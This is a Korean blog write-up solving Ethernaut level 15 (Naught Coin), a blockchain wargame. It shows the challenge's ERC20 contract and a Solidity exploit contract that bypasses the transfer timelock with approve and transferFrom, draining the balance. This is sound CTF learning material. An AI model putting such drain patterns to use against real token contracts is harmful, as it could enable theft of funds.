본문 바로가기
Write Up/Ethernaut - 블록체인 워게임

Ethernaut - 15단계 (Naught Coin)

by p6rkdoye0n 2023. 11. 23.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = block.timestamp + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0') {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
      _;
    } else {
     _;
    }
  } 
}

 

NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

  Things that might help

The ERC20 Spec
The OpenZeppelin codebase

 

나의 지갑 안에 민팅된 코인이 있는데 해당 코인을 전부 없애면 되는 문제이다.

 

문제 코드를 보면 ERC20이라는 라이브러리를 가져와서 상속시키는데 이 문제는 기본적으로 ERC20 API를 알아야 풀 수 있는 문제이다.

 

ERC20에서는 토큰을 보낼 수 있는 방법이 두가지 존재한다. transfer이나 transferFrom 함수로 보낼 수 있는데 ERC20을 써보신 분들은 알겠지만 transfer 함수 같은 경우는 받는 객체 클라이언트가 어떤 function을 사용하려 하는지 모르기 때문에 transfer 함수를 가지고 보내는 것은 대부분 힘들다. 그래서 나온게 transferFrom 함수이다. transferFrom 함수는 approve 함수를 통하여 사전에 보내기로 약속을 한 뒤에 호출을 하는 방식으로 이루어진다.

 

그렇다면 문제 컨트랙트는 ERC20을 그대로 상속받고 있으므로 approve함수의 인자를 다른 CA주소로 넣어줘서 승인을 해준 뒤에 transferFrom 함수를 호출하여 다른 CA로 토큰을 전부 드레인 해주면 될거 같다.

 

다음은 해당 시나리오를 반영한 최종 익스플로잇 코드이다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function player() external view returns(address);
    function balanceOf(address account) external view returns (uint256) ;
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract Exploit {
  address public target;
  address public player;
  uint256 public bal;
  uint256 public check;

  constructor(address _target) {
    target = _target;
    player = IERC20(target).player();
    bal = IERC20(target).balanceOf(player);
    check = IERC20(target).allowance(target, address(this));
  }

  function exploit() public {
    IERC20(target).transferFrom(player, address(this), bal);
  }
}

 

 

나의 계정 안에는 상당수의 토큰이 존재하는 것을 알 수 있다.

 

익스를 진행하는 CA의 주소를 첫번쨰 인자로 넣어주고 토큰의 값을 두번쨰 인자로 넣어주고 승인을 눌러준다.

 

지출 한도가 너무 높다고 뭐라 해도 그냥 컨펌을 진행해준다.

 

이후에 exploit 함수를 실행해주면 나의 토큰이 0이 되면서 문제가 풀리는 것을 알 수 있다.

 

 

🚩